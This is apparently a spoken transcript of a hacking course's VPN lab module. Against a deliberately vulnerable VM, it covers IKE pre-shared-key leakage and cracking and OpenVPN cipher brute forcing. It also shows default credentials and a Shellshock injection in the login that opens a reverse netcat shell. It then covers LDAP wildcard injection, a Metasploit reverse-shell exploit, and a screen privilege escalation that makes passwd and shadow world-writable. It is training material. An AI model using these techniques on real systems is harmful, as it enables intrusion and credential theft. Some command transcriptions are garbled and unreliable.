[ELECTRONIC WHIRRING]
[WHOOSHING]
[MUSIC PLAYING]
Welcome to the Hacker House Hands-On Hacking VPN Server
practical module.
We're now going to demonstrate all the practical concepts
necessary to complete the VPN section of our course.
If you were to look at my screen now,
you should see I have a virtual box running.
I have my host-only network set up as
per our getting started guide.
And we have the VPN server selected as an ISO
on that virtual machine.
So if I was to now start that virtual machine
and go to my Kali instance, and we should begin today's lab.
So here we can see I got the IP address at 192.168.56.3 again.
You may find that your VM might show two IP addresses there.
Not to worry, you're only interested in the one that's
on your host-only interface for the moment.
So if I was to ping that IP address,
just quickly see that I can see connectivity to it.
So we'll now begin evaluating the VPN environment and the VPN
infrastructure.
So
The reason that we look at this is obviously
we're looking at an external perimeter.
Most companies will have DNS.
They'll have mail.
They'll have web.
They're also quite likely to be using a VPN
as a tele-working solution.
So we'll look at common VPN vulnerabilities now.
So the first thing we'll do when we start to target a new system
or server is just do a very standardized port scan, just
to see what kind of footprint, what kind of services
respond back from this host.
And as we can see, it's got a very minimal footprint.
It's actually just got a single HTTP
service, which is a little bit suspicious by itself.
So I'll actually just go along and see
what is actually on that web page just as an example.
And we can see here that just by browsing to this web page
it says, "Welcome to the Ministry of Peace!
VPN service.
This service is provided for the blessed,
fare members of our society.
Should you require help, email our support team."
And there appears to be a Certificate of Authority.
So in this kind of instance, this
is a fairly standardized kind of thing
that you might see, although not so often over HTTP.
In fact, you would expect for a VPN
or security-related appliance would always be over SSL.
So the fact that this is over clear text protocols
means that it can be intercepted and subject
to monumental attacks.
So not a very good start for a VPN really.
So finding things like web pages or unusual ports that perhaps
aren't used with a VPN, sometimes you
do see things like that.
You might see management interfaces and much more.
So looking at this service, we can
see we've got open ports 80, so the next thing
we would probably want to do is to get
a more comprehensive port scan in
to make sure that we don't miss any additional ports
and make sure that we are thoroughly analyzing this host.
So I will do that again using the common set of flags
that we've been using.
Don't forget there are other variations of these scans
as well.
And you can get more information about different scan types
and map supports in the nmap man page,
or alternatively, from the NMAP Scanning Book.
It's a good book that contains very detailed uses
of advanced uses of NMAP map.
But for most intents and purposes,
to do a full, comprehensive, three-way handshake,
full 65k port scan will give you a very clear picture
of a host's accessible service ports and perimeter access.
You may find that firewalls and intrusion detection
systems will affect your mileage on this.
But we are seeing you know some firewall among these hosts.
So nmap -st -p - the IP address -sc for default scripts,
aggressive mode, disable pings, disable DNS,
give me more verbosity, save it out to a file.
In this instance, I'd like to save it out
of the file vpn.txt -o vpn.xml.
And here we can say there's just port 80 open.
So when I'm seeing port 80, it's a standard web server.
So even though we're doing a VPN module,
just like we saw in our standard web server module
in the previous module, you can use tools,
the same tools that we use there-- nikto, DirBuster
to try and identify some content,
make use of a spidering tool, perhaps
like netwalks to see what content there is there.
And we can run this tool and see what kind of scan results
get back in.
So I'm just going to leave this running for a second
and see if we can find any additional information
on this endpoint.
And here we can see, we've got Apache service.
It's running an out-of-date version of Apache.
It's version Apache 2.2.21.
So there's an HTTP title, but there
appears to be no other open service ports.
So we're now going to do some UDP scanning against this host.
The reason is we know this host is, perhaps, vpn.company.com.
Or we found this VPN link.
Or when we browse to the web page, it says it's a VPN.
So when we see things like that, we're
going to try and test more common VPN services.
Maybe there's a VPN service on here.
So the way we could do that is we
could use hping3 to manually probe for different ports
and services.
If you were to run hping3 --help, what you could say
is this allows you to construct TCP IP packets
and then send them to a host and validate their responses.
So you can actually manually craft your packet responses.
So we'll manually craft a UDP packet,
because we're interested in learning whether or not
a particular UDP port is open.
And if I was to say, well, we'll try 123, the network time
protocol and see whether or not network time protocol is
valid and accessible by sending a UDP
packet to this host on the port 123,
we can see we're getting an ICMP port unreachable response.
Now because we're getting an ICMP port unreachable response,
we can determine that this host doesn't have port 123 open.
However, if this host was firewalling ICMP responses,
we might not see an ICMP port response message,
and, therefore, we could not use this technique
to determine if a port was closed.
So it's a good way to just test usually on a high port
that you wouldn't expect to be open,
make sure that you're getting ICMP port unreachable methods
before you start trying to do UDP port scans, which
will be unreliable if you try to use a tool when you don't have
ICMP port unreachable messages.
In the event you don't have UDP port unreachable messages,
you'll need to use a protocol scanning tool, things
like application mappers, or UDP scan,
or actually trying to interact with the services,
such as with a tool, like Ike-scan.
So, for instance, if you were to try to ike-scan this host,
you would see that ike-scan has returned a main mode handshake,
because it has queried the VPN service using the VPN protocol,
using the IPsec protocol, and tried to query that endpoint.
And it's elicited a protocol response.
So it's able to tell that the port would be open.
Because the protocol that's listening on
that port is responding.
So if you don't get a response back from a UDP packet,
you need to ensure that ICMP filtering isn't
blocking your scan.
So in this instance, we'll check now for some common UDP ports.
We'll check for network time protocol, 69 for TFTP.
We'll check for 161 for SNMP.
We'll also check for 500, which is commonly
used for Internet Key Exchange or ICMP.
And then also we will add 1194 Datagram TLS,
which is a commonly used Datagram TLS service,
and perhaps, four other UDP services.
Maybe we'll look for 53 to see if there's
a DNS service running on there.
And if there is, you could look for charging or maybe
some other UDP services.
But here we can say, OK.
So I need to do those port lists one by one.
I can't set the port ranges like that.
So I have to do for port in, and then my range of ports,
I guess, which I'll just put into a text file.
So I'm just going to do a loop over just
to see and send one packet to each of these
and see which one is open just as an example of how
you can manually UDP scan a host,
and it's important to make sure you are UDP scanning
hosts because if you forget to check these ports.
And sometimes you'll find that you may overlook weaknesses
in networks.
So for port in--
Oh, VIM udp.txt.
I'll write them one line at a time.
So I've created a list of common UDP ports
that I'm interested in.
And now I'm going to do a for loop, for port in cat udp.txt
And then I'm going to do hping3 -t
-p $port the IP address that I'm interested in targeting.
And then I'm going to type done.
And also, I'm going to add to hping3 a count.
I'm going to tell it I only want it to send one packet.
So I'll do c count, maybe 2, if you're worried about network
connectivity and reliability.
But I'm just going to do 1, and then I'm
going to do echo $port for the beginning.
Testing $port.
So there we go, a very simple for loop
that takes each of those ports, sends one packet to it,
determines whether or not it's open.
And as we can see there, we've got a response here
that tells us there's no DNS on this host.
However, Datagram TLS appears to be in use.
ISAKMP appears to be in use, because we're not getting
those ICMP responses back.
And network time, TFTP, and SNMP appear to be closed.
So this is how we can use hping3 and manual tools
to do this kind of probing.
Nmap can also scan UDP services with the -su option
and can give you some good results as well.
However, depending on your filtering,
depends on how long that can take.
So we've learned that there is two UDP
services on this host running on port 500 and port 1194.
So the first host we'll look at is the 500 service,
simply running ike-scan.
If we simply run ike-scan, Internet Key Exchange scan,
against that IP address, you can see now
that this server has responded with a main mode handshake.
What's happened here is ike-scan is just
trying to elicit a handshake with a common set of security
associations.
You see these security associations are actually
set here.
It says encryption=3DES, hash type=SHA1,
authentication=Pre-shared Key, and then Group2=modulusp1024,
and various other options like lifetime and seconds.
So when the client has tried to handshake with that server,
it's picked a default common set of encryptions, hashing,
and authentication that have allowed
it to communicate with the IPsec endpoint
and negotiate a handshake, so they can actually communicate
with each other correctly.
Sometimes you'll find that when you run ike-scan,
you'll get messages like no notify,
or you won't get a handshake back into in return.
And that's because you haven't selected the right transforms
or the right set of security associations
to negotiate communication with that endpoint.
So how do you identify those?
Well, ike-scan supports an option called -trans.
So if you were to look at ike-scan 192.168--
--help like this.
And you would see--
oops.
I'll just do the --help on ike-scan.
And if we were to scroll up, you'll
see here we've got the transform ID depends on the DOI document.
So you can actually specify here in the transform ID
different options, different numeral options,
which will relate back to the security association
value that determine things like your encryption type.
And, in fact, there's an even example here.
Use custom transform instead of default set.
You can use this option more than once
to send an arbitrary number of custom transforms.
So you can send here attribute and value.
So you can actually send encryption=3DSES.
So you've got the numbers here.
1=5, 2=1 And you get the options here, 3DES, AES, DES, SHA1.
You can actually specify the different types of encryption
that are handled, based on the transforms,
based on these numbers, these numerical values.
So what you need to do is basically
brute force those different transforms
to ascertain which valid numbers will allow you
to handshake with the VPN endpoint and enumerate
information.
So I'm going to download a script now
from our stuff directory.
This is a script that was written by a friend of mine,
called Daniel Costas.
It's a very cool, little script that he gave me a long time
ago.
But I've been using it for some time.
So this is a tool called ikemulti.py,
and all it does is it simply takes an ike-scan,
and feeds it through a threaded application,
and dumps through all of these different encryption,
hash types, authentications, and groups,
and just enumerates them in a threaded way
to determine whether or not the end point supports them.
So if I was to simply type python ikemulti,
we can see now it's going to ask for a number of threads.
And we can say, OK, 20 threads, IP address at 192.168.56.3.
And see what ikemulti will now do
is it will try to communicate with that IPsec endpoint,
using all possible transforms to ascertain
which values it supports for it's security association.
So if it supports AES, if it supports DES,
if it supports 3DES, if it supports chain
block cipher modes, if it's an MD5 hash type.
All of these kinds of questions, it
will do it in an automated way.
And at the end, it will produce a set
of transforms we can use to elicit
a handshake with that VPN service
and try to build part of that IPsec tunnel.
So this utility can take 10 to 15 minutes to run.
So I'm just going to go back here and have
a look at my nikto output.
So looking at my nikto output now,
I can see that I've got the example of a readme file
on the server, and there's not an awful lot else on there.
So I'll go over to the server.
And I'll say, well, what's this readme file all about.
Ah, and here we can see something
that fairly commonly happens.
If you connect to a VPN or an extranet report,
you might be presented with download client here
or to connect to this VPN, you'll need AnyConnect.
Or it might have some information about how
to connect to the VPN.
And this one here informs us that the lovably-named Borat
Extermination Team living on Death Squad avenue
inform you that you can connect to this VPN
using OpenVPN and some of these arguments.
OK, we'll come to the OpenVPN installation in a moment.
We're still looking at the ike end point
here, the IPsec handshaking for key negotiations.
So once we've got these enumerations running,
we should be a few minutes in, and I'll just
allow this to complete.
Because this service is a UDP-based service,
conducting other tests against it
while it's doing another UDP-based probe and attack,
can skew the results.
So we do need to wait for some of these results
to complete before we continue to probe it.
Otherwise, we'll get packets out of sequence,
and we may confuse the tools, especially when they're just
listening for that kind of packets to come back in.
So we want to ensure that we don't
cause our tooling to misreport, or become a false positive,
or something similar.
We should actually find that this endpoint only
supports one default set of transforms,
which is the commonly used 3DES encryption type.
When you're doing reviews for clients,
and you're looking for these kinds of weaknesses,
and you find these kinds of endpoint tunnels,
it's really important to review through all
of the different options that they've set.
As people can actually disable encryption types
or set very, very weak encryption, which
is effectively not providing sufficient levels of security
and could be intercepted and decrypted
with someone who has sufficient computing resources and enough
crypto-analysis experience.
We should hopefully be nearing the end of that probe now.
But just going back here then, since we've
got the other service running.
We've got our ike-scan running, and we want to have a look.
So if you need to connect to an ike-scan service,
I believe that you'll need to download racoon.
And, in fact, if you are using the latest version of Kali,
you will also find that there is a issue with using
newer versions of OpenVPN.
Because the newer versions of OpenVPN in this module
are linked against a statically-built
open SSL library.
So inside your Kali instance, you
will have OpenVPN linked in statically to open SSL.
So if you try to connect to this module with your OpenVPN,
newer versions of OpenSSL have removed support for some legacy
protocols and removed support for some insecure protocols,
which will break a number of connectivity options.
So you might find that you need to downgrade
your version of Open VPN, just so you
can connect to this module.
And if you do that, you'll need to wget from this URL here.
And you could just wget that Debian package file
and simply install it to your host IRS, using dpkg -i
and then supply OpenVPN the name of the package file.
And that will downgrade your open VPN client,
so you can complete the practical elements
of this module.
You can, of course, then re-operate it
at the end of your being done.
It's unfortunate that this problem introduces itself
through open SSL and it's disablement
of legacy TLS protocols.
The VPN we're targeting uses some legacy protocols.
And you might find if you rely on newer SSL libraries,
certain SSL libraries have now disabled
support for many legacy and insecure encryption types.
So you'll need to perhaps downgrade some tools
or mess around with them when you're
doing this hacking stuff.
So we've got the valid transformation found.
We can see that the only transformation that it
seems to support is 5212.
So we'll do =5212 like that, which is actually the default.
So if we were to just do 192.16, we can see now that we can
communicate with that, and we get a main mode handshake back.
If I was to change this number to change the encryption type--
you can see now I've changed the encryption type,
so the VPN endpoint is no longer talking the same language.
It's speaking French, and I'm speaking Hungarian.
And we're now speaking the wrong languages to each other.
So we can't negotiate a handshake.
We can't agree, so we have to agree to disagree,
and go our separate ways.
So it's important to make sure that you know which handshakes
are valid, and when you've got this valid handshake response,
you have the right options that will
allow you to try to interact with that end point.
So another thing with this, we can see here we
got a main mode response.
The next thing I would check for is whether we
support aggressive mode.
Now aggressive mode is intended to reduce the overhead on a VPN
and allow people to connect to it.
It allows the connection to be bought up much quicker.
So if I run ike-scan -A, we can now
see I've got aggressive mode handshake returned.
We've got some keys.
And again, this one has returned back the same security
association handshake.
And the important part of the security association handshake
here is irregardless of encryption and hash type,
the main part is this authentication, and perhaps,
the hash type as well.
But Authentication=Pre-Shared Key.
And what that's actually saying to me
is this VPN endpoint at both ends of the tunnel
have a pre-shared key.
They have prior knowledge of a password, possibly
a pass-phrase, that they both have that allow
them to build up that tunnel.
So there's a there's a pre-shared key
in use on either end.
And what we want to do now is we want
to exploit an information leak.
Because we've know we've identified the VPN technology.
We've enumerated the language that it speaks.
Now we're going to try and leverage an information leak
to extract some data from the VPN endpoint,
and we'll do that by doing -A, and then we'll add the option
--pskcrack=psk.txt.
And if you were to now open that file, psk.txt, what you'll see
is you've got a random string of numbers, which will forever
be sort of changing based on the encryption and handshake
that you're using.
But inside of here is sort of a fixed
set of numbers, which will include
a hash of the pre-shared key.
Actually the pre-shared key is leaked
within this aggressive mode handshake.
And you can parse through this, find the pre-shared key,
and extract it.
And there's a tool that will do that for you.
If you were to use psk-crack, and simply
run psk-crack on psk.txt, you can
see that we found a SHA1 hash.
And the SHA1 hash is included here at the end of this block.
And that was the pre-shared key.
So it extracted that hash.
You could have copied and pasted that yourself.
And then it's cracked that pre-shared key
and returned back the plaintext.
We now have everything that we need
to try to establish a connection with that IPsec endpoint.
And the way you do that is using IPsec tools and a utility
called raccoon.
And there are various configurations in here
that you could set.
However, if you actually go ahead and set a connection
and build a connection to this VPN,
it won't actually take you anywhere.
It'll just connect, and that'll be the end of it.
So that's just how you can leverage an information
leakage.
If you want to try to connect to it,
feel free to have a look at raccoon.
You'll need to specify the different options in there
to then try and connect with that.
And you should end up with a virtual interface.
But moving on from that one now, so that's
common internet key exchange leaks.
If you were to sort of scan the internet for all of the IPsec
VPNs in the world, you'd find that places
like Lebanon's military services will, perhaps,
be linking keys like this.
And in fact, there's an awful lot of systems out there
that just leak VPN keys.
And for some strange reason, people
seem to still get this wrong, even today.
So that's a continual problem that you'll possibly run into,
and it's a good one to see an exploit.
However, the VPN readme here didn't say anything
about a OpenVPN.
It says here that you can connect with either OpenVPN
or IPsec.
So we've looked at the IPsec side of things,
we're now going to have a look at this OpenVPN side of things.
So if I was to download here and just
Copy and Paste that OpenVPN connectivity line,
you can see it's giving us the OpenVPN configuration.
It's giving us enough information to connect,
saying be OpenVPN, be a client, connect to this server.
And that's the IP address of the server.
So we don't have the short name, so we'll just
change it to the IP address, 56.3
And it says --auth -user pass.
It says you can log in with an username and password.
Take it from a file.
But we don't have a file to give it,
so we'll just give it from the command line.
So just remove that file it's also asking
for certificate authority.
And then it's specifying a cipher type.
So I'm going to remove this specified cipher type.
And this will be why you might have problems
if you use a newer version of OpenVPN statically linked
to SSL.
Some of these cipher types are now legacy and disabled
and no longer support things like TLS 1.0.
So you might struggle to get connectivity
if your reliant on patched SSL libraries.
So if you've got error that says ca fails with ca.crt.
There's no such directory.
This is a common situation.
You might find that organizations
will have their own certificate authority,
and you will be tasked with downloading that certificate
authority or extracting it from the SSL certificate.
So you could often find a CA-signed website,
view the Certificate train of Authority,
and actually extract the certificate authority
for your uses.
In this case, we can actually just download it
from the server, because it actually
offers us the opportunity.
It says if you want the Certificate Authority,
it's here.
You'll need it.
And if we need help, email support.
And I want us to think about that again.
What does that support at tell us.
What is that?
So if I was to go back here, do OpenVPN remote user class.
OK, we've now got all the files.
You can see here it says enter Username.
And I'll put test, test.
And we've immediately got back handshake failed.
As you can see, this won't actually try to log in.
Because it's got the wrong set of TLS options,
because we haven't got the right set of encryption algorithms,
we're not speaking the same language as this VPN.
We can't handshake with it.
Therefore, we can't log into it.
So we'll know when we've got the right handshake, because we'll
be able to successfully log into a VPN.
So if I was to here, say, well, let's just
take support these ciphers.
I'll take this cipher.
And I'll add it to the connection.
So I'll say, I want it to connect with this TLS cipher.
It says, OK, enter Username, test, test.
We can see here now this actually has failed as well.
So I'll just take the one that was in the example.
So use the one from the example.
And you can see now that it tries to connect to the server.
It's initiated a connection, and the response we've got
is different.
It says AUTH FAILED.
If you look at the response we got previously,
we would see that it previously gave us handshaking errors.
This time around it specifically said authentication failed.
So we know we're talking the right language to the VPN,
because it's accepted an username and password
and come back and said, no.
That's an incorrect username and password.
It's failed.
So we know that we've spoken the right language.
So that's how we can use that behavior to test it.
So how would we find out all of the types of ciphers supported?
Well, we could use openvpn --show-tls.
And then we could grep TLS-, like this.
And then we could put that into a list for cipher
in do echo $cipher; done.
So there you could generate a list
of all the supported ciphers the OpenVPN supports,
and then you could just systematically try
to connect to an OpenVPN endpoint
using them with brute force.
As I've said, all good things come to those who brute force.
So we will do OpenVPN, --client --remote.
Give it the IP address.
--auth-login pass, I think.
Or auth-userpass.
And we'll put that into a file.
You can put that into a file login.conf.
You can add any username and password
that you might use into a file, a text file.
I'll try ca.crt and then --auth -nocache.
And then comp-lzo, compression-lzo, and then
tls-cipher $cipher.
So echo admin to login.conf; echo testing into login.conf,
like that.
So in our login.conf file now we have a username and password.
So instead of asking for the command line,
it'll keep reading from our username and password file
there.
So if we were to allow that to happen,
what would eventually happen is we'd either see timeouts,
or we'd see errors.
But it would test each one of those ciphers
against that endpoint until one of them
said authentication failed; thus, we
would know it has successfully taken the username and password
and negotiated the right handshakes.
So this is how you can enumerate and brute force
the handshake of a VPN to then identify weaknesses in it.
So OK, we see a VPN.
You've now got some options available to you.
What do you think those options are?
You've got a username and password.
OK, so brute force.
If we think about brute force, we've
got to think about the design of the VPN.
So if we think about there's a VPN endpoint,
we're connecting to that VPN endpoint,
and we're giving it a username and password,
is the username and password being tested on that endpoint,
or is it, perhaps, being sent to an LDAT directory, a SQL
directory?
Is it going to a remote third party service?
And if so, how can we interact with that third party,
that backend service.
Well, we have a username and a password field,
so we have a place to put malicious input.
So we could, in fact, try to exploit or manipulate
this VPN server.
So that's kind of interesting.
So we can try that by putting in attacks.
We could try things in the login field.
So if I was to go back to here, we could actually just try
things like %% to see if we can get any errors or any issues
coming out.
And here we've got un-rootable control packets.
We can't seem to communicate with that one, OK.
Well, let's see what happens if I try to log in with admin.
And I'll try the username and password admin as well.
As you can see actually, it was very
trivial to guess a set of passwords there.
If I was to come out of there, perhaps, maybe I'd
try some other password guessing attacks,
things like support and support; admin, admin; and support,
password, maybe; things like that.
Try different kinds of usernames and passwords.
But amazingly once again admin and admin
was sufficient to gain us on to that particular VPN endpoint.
So password guessing attacks is one thing
you can often try if two-factor authentication hasn't
been enabled.
But I'm also going to show you one other attack now.
Because the input is being sent to that remote server,
it's interacting with some kind of remote back-end service.
It's testing those uses against something.
So I'm going to show you that you could also
check for injection attacks in these fields.
You could try things like ticks, %s.
But also, we could try things like command injection maybe.
So one of the things I would try,
perhaps, is maybe sending Shellshock in there,
just to see maybe if it's using these usernames
and passwords in any way, shape, or form
to kind of do some evil stuff.
So I want you think about Shellshock as not just being
a web server vulnerability.
It's anywhere that a shell interpreter
could be being used.
So it could go into any kind of field really.
So I'm going to try /bin/bash.
I've set my magic Shellshock string here,
so that if it assigns password, or username,
or anything to a variable in bash, then maybe
I can misuse it.
So what I'll do is do -c.
And then I'll set my netcat, see if I
can run my netcat listener, connect my net cat shell.
I want it to connect to my IP address.
And again, I want it to look not suspicious,
so I'm just going to try and do it on 443.
It's not encrypted.
It's not going to really hide you very well.
But it does just demonstrate that we've
got-- let's see if we've got this going.
OK, so instead of the username and password now,
I'm supplying a username and a command injection.
So let's try and log in with a username and a command
injection instead into this module.
[COUGHING]
So we can see here that it says pee initiation.
It's tried to connect to the service,
and then it actually failed.
And I've got a connection back now
on this server that actually says I'm uid nobody,
and I have actually gained shell access
to the remote VPN server.
So by leveraging command injection vulnerabilities
inside of the login fields or the way
in which the VPN logs in, I'm able to access that server.
And when I said try injection attacks against VPN,
it comes from personal experience,
I've actually found that people will often not
think that linking the VPN to LDAP, for instance,
or a MySQL database requires any form of sanitization.
And they just trust the appliance
to know that SQL injection is a bad thing.
And unfortunately many of these appliances
that will link into those data stores
provide no such input validation and expect filters
to be written around the LDAP filter engine itself.
So you often find that people will make erroneous mistakes,
allowing for injection attacks, like LDAP injection,
like SQL injection, like many others, command injection
here being an example.
So we've got command injection onto this VPN server.
That's kind of useful, but we also
have VPN access to the service.
So I'm going to log into that VPN as well.
So that's kind of interesting, and we'll
explore more privilege escalation attacks in a moment.
But here we can say I've initiated my connection.
I've connected to the VPN.
I've got a command shell on the VPN server.
I'm going to upgrade my command shell
using the pseudo teletype interface trick.
I'm going to use ptyspawn again.
I'm not going to launch /bin/bash.
And you'll find if you browse through the NSA data dumps
that they actually have a number of binaries
that do this same thing.
But you can just do it with a one liner in Python.
And if you type now, you'll see I've
got double arguments, because it's echoing my commands twice.
But you can see there my typing looks horrendous,
but I do now have an actual proper shell,
which we can sort of navigate around
with job control, et cetera.
So a bit more useful for us.
So I've got the command shell there.
I've also got a new connection to a new network,
and if I was to type ifconfig, you
can see that I have a TON interface now
that's been connected, and I've actually logged
into what is a private network.
So we can now actually authenticate
into this private network and begin scanning around.
So when we encounter new networks,
we encounter 10.10.10.14.
One thing we might try and do is a ping sweep.
We might try and just sweep the subnet.
And we can see here net mask, well,
it says it's a single host.
So destination.13.
So I'll try /24 just to see what's in the local subnet,
just to see what we might find.
And I'll save us a little bother by just pinging out to a host.
Because I actually know if we do ifconfig on here--
well, you may not be able to do ifconfig on here.
User sbin ifconfig.
Nope, no ifconfig.
So I actually do believe that it will be at 10.10.1,
but we just need to make sure we can confirm that somehow.
So you have things like here, WARNING:
INSECURE cipher type user.
This is why some of the SSL libraries
are now patched against those attacks.
It's taking a very long time to scan through that VPN,
so I'm just going to ping 10.10.10.1,
and we can find that 10.10.1 is actually alive.
If you were to leave that to complete,
you'll find that would actually respond as well
and tell you that the host is there.
So we can now scan the host 10.10.1,
and we can see that host 10.10.1 appears to have a very
simplistic web service port available as well.
So we'll go to 10.10.1.
Let's see what do we have here.
OK, so this is what I referred to earlier
when we discussed first-stage and second-stage
authentication.
It's entirely possible that the first time you
connect into a VPN, it might not actually give you access
to the full internal network.
You might just be restricted to a partner portal, an extranet,
Citrix, any kind of remote desktop tele-working solution,
CRM management.
You may just have a portal like this.
And again, we can see Ministry of Peace portal.
It says we've got a login.php portal.
So again, what we could do is we could
start targeting with our standardized assessment
techniques at this point.
So I'll do a final new tab.
I've just used up too many console,
so I just hit Control-Shift and T
to open a new tabbed window and then Control-Shift and Plus
to increase my font size.
And then I just like to record a little script while we're
doing these recordings and just make sure that things
are logged in there.
So we've got here the http service.
And what we could do is obviously nikto.
Make sure we could nikto that same host,
see what information is running on that port perhaps.
And we can see there's a root page redirects to login,
and we start to get some information back
that might be of use to us.
So again, we've got here ABC, ABC.
We could try some defaults, try some credential guessing.
But I'm actually going to try something more basic.
I'm going to try % and %.
See if % works.
I'm going to try a tick and a tick.
And I'm then going to try a * and a *
OK, and when we've done a star and a star,
we can see actually what's happened here
is it's come back, and the server has responded and said,
Found user admin; Found user hackerhouse;
Found user support; Found user bilg; found different users.
And the reason is because * is often treated as a wild card
character.
And in some places where it is treated it as a wild card
character is in LDAP.
And unfortunately, I've done this numerous times now
where you can actually connect to a VPN,
and when it's prompted you for the username and password,
placing a star in either field will sometimes
match a wild card, and allow you to bypass authentication.
And in this case, it hasn't allowed
us to bypass authentication.
But it has allowed us to enumerate users
who are valid in the portal.
So we can see here admin.
And I'll try admin, *.
And it says, Found user admin.
And I could try admin, admin, for instance.
And, of course, admin, admin has let us in.
But that page there shows us that it was potentially
an LDAP-related injection.
And hitting maintenance, we can actually
see that yes, this was a PHP LDAP admin-related service.
So if I tried to log into there, it's
asking me to to bind to that LDAP service.
And I'll bind with that admin, admin.
And I can actually browse through now
the users who are specified in that Lightweight Directory
Access Protocol in the directory there.
So we can see these users here are actually configured.
So they have some kind of information stored about them
inside of the schema.
We can look at the schema.
And inside of there, we can see that the schema
has various user objects with password hashes stored
in there.
And the LDAP directory is effectively
allowing us to log in.
But because of this form, because of the LDAP injection,
simply sending a * when the LDAP query is run,
* will match any user.
So if the LDAP query is vulnerable to LDAP injection--
and this is a kind of a common problem seen
on VPNs, SQL injection, LDAP injection,
XML-entity injection, command injection.
These things should be tested on a VPN endpoint.
It's often overlooked simply because people may not
be fully aware of how to do that process.
Identify the VPN technology in use, enumerate the language,
and transforms, and handshakes that it has,
negotiate your handshaking, get the ability to authenticate,
and then you need to look for information leaks,
and then try to do injection attacks.
Try to inject commands.
Try to inject Shellshock.
Try to inject XML, and Entity, and SQL, and all
those other good things.
And you will be surprised.
I've had clients' jaws drop when I've logged
into their corporate VPN simply hitting *,*.
So you need to ensure that you are
checking for things like that.
OK, so other things that we might see on this server there.
If we actually go back to 10.10.1 I should still be
authenticated.
It says admins can log in for maintenance.
We can see that PHP LDAP admin.
If I was to do searchploit LDAP admin.
And we can see there we've got PHP LDAP admin.
We have various exploits here.
And it seems to be a code injection exploit at 1.2.1.1.
It seems like we can inject code into there using an exploit.
And there's one in Metasploit as well.
So we'll have a look at that exploit in Metasploit,
try to see what that is, and see if we can use that
in any particular way as well.
So while our other port scans are
running, what we'll do now is we'll go back to our shells
that we've obtained on this VPN server,
we've obtained one through Shellshock.
We're having a look now.
If I do search phpldapadmin, we can see here there's
a PHP LDAP admin exploit.
We can maybe try that and see if that--
So I'll type use supply.module, show options, set our host,
set the host that we're targeting,
show payloads to select the correct payload
that we need to use.
Select payload.
I'm going to do php/reverse.pr, show options, set LHOST,
specify my listening host, set my port to something that
won't matter on a network much.
Could not generate a valid session.
Oh, because the RHOST is the wrong host.
Oh, and it should be--
I should be on the 10 network.
So I need to make sure that I'm listening on the network
interface for the direction I'm trying to exploit,
which is the internal service.
So I'll now try and run that exploit against that server.
And what you can see here is I've
been able to successfully access the same VPN server.
But again, now I'm using slightly different privileges.
OK, so I have two users on the VPN server.
And I now need to escalate my privileges to root.
So I'm going to do that, first of all,
by checking for common user-line vulnerabilities.
I'm going to spawn my /bin/bash.
OK, I've got my /bin/bash.
I'm happy with my shell.
I can sort of move around the environment.
I can have a look in my directory.
I can look at xx.
cat xx.
I can see that there's some command there.
So if I was to now do nobody command.
I can see I'm on the nobody user.
I'm going to use the web shell, because it
seems a little cleaner.
And I'm going to do mkdir.x So if you ls /tmp,
you'll see the x folder isn't hidden unless someone does ls
-al, which won't show these files prefixed with a dot.
So you can sometimes make a dot file just
to mask your activity, and then the temp folder
should be cleared if the machine reboots.
So we've got here the .exe file.
What we'll do is we'll put in here.
And, in fact, may not do.
May not clear it.
You might have to clear it yourself.
But just for the .x location I've got here,
I want to now look for privilege escalation attacks.
And we're going to do a whole module on Unix permissions.
But we're also just going to for the moment show you a command.
So I want to do find /- pern -4000 not -
type l 2 pipe /dev/null.
This commands says find, search the root file system
for binaries matching this file permission mask.
I'm not interested in any of these flags.
I'm only interested in this special security-related flag,
- type l 2 pipe /dev/null.
And these will identify all of the privileged binaries
on that system, all the things that might be
of interest for me to exploit.
And straight away, you can see there's a binary there called
screen-4.5.0.
And if we were to look through that particular version
of screen, we would find that is also vulnerable.
I'm going to come out of this VPN service Shellshock,
so I can have my other terminal back.
And I'll do searchploit screen.
If we have a look through screen here,
we can see there are a number of privilege escalation PoCs
that we could potentially use for 5.4.0.
But in fact, the author of these PoCs
has made a trivial mistake, which
makes the exploit ineffective on the system.
So we'll download that exploit.
If you go to static.hacker.house/stuff,
I believe that we should have in there a file named screen.sh If
you were to access that screen.sh what you'll see
in this file here is that this is an exploit written by a chap
called Darren.
And inside his exploit, what he's done is he's made it
so that you create a root-owned file,
create a local-linked library, and then runs the default
system shell, /bin/sh with this new library and requests
permissions.
The problem with his exploit is unfortunately the default
shell on most Unix and Unix-like environments today
has been bash.
/bin/bash tends to drop these kinds of privileges,
and this exploit vector wouldn't actually work.
So here where he's got the dropshell,
he's actually running code with root permissions
and could do anything he wants to the system,
but then subsequently relaunching a second shell
in that way would fail.
So the way to change this exploit to make it work
would be to add our own instructions here
into dropshell.
So you might find that sometimes you'll
need to modify a public exploit to get the most of it,
to make it actually function for your use case.
So in this case, I'm going to load the screen.sh file.
I'm going to go down to where it says dropshell.
This is the part that will run as root.
You can see dropshell would run as root.
You should be able to understand that
by reading through the code.
Because the actual exploit logic is here.
It tries to load this in with this exploit logic
and then write out to the libhacks file
and overwrite the system linker.
But should this exploit fail, it can
cause some damage to the system and make
the system unresponsive for some strange reason,
because he's messing with the linkers.
If you were to do chmod /etc/passwd,
and we'll do file permissions in the next module.
But I'm just going to do 077.
And I'm just going to change the password file on the system
to be owned world-writable.
And then I'm going to add the shadow file entry
to be world writable as well.
And I'll need to get that file onto that remote computer
and share it for exploitation purposes.
And I'm going to transfer it this time with Python
and simple HTTP server.
But I'm also going to show you how to transfer it
with netcat, just so that you can
understand how that would work.
So, again, I look at my ifconfig.
I got my tmp tap interface.
I'm going to do nc -vl -listen port 80.
And instead I'm going to feed in the contents of screen.ch.
So anyone who connects to my IP on port 80
will get the contents of that file.
So I'll just connect to that IP, 10.10.14 on the port number 80,
and I'll dump that to screen.ch.
And what we can see here is my host will connect.
And it won't automatically terminate the shell connection.
It won't automatically finish that.
So you'll have to allow it just enough time
to transfer however big your file is, just
by a little bit of guesswork, and then hit Control-Z, kick
the user off the system, and you should
find that the file that you've copied
is now on the remote computer.
So I need to make sure that I've got my profile set correctly,
and the reason is if I don't have my profile set correctly,
this exploit definitely won't work.
Because I'll need to be able to compile some files.
So I won't be able to compile some files;
thus, it won't give me what I need.
Subsequently, I will then do chmod +x screen.sh and simply
run screen.sh.
And you can see now that the exploit
has run, done all of its logic.
And type in id.
I still don't have my root permissions.
And that's because despite the shell exploit working
successfully, you don't actually have the ability.
See running rootshell.
It's installed and set you root.
But simply running that will drop permissions,
because it's not allowed under /bin/bash.
So what actually has happened as well if you
look at the password file, you can see, read, write,
and execute.
We can now edit and manage the password file as much
as we want and also the shadow file.
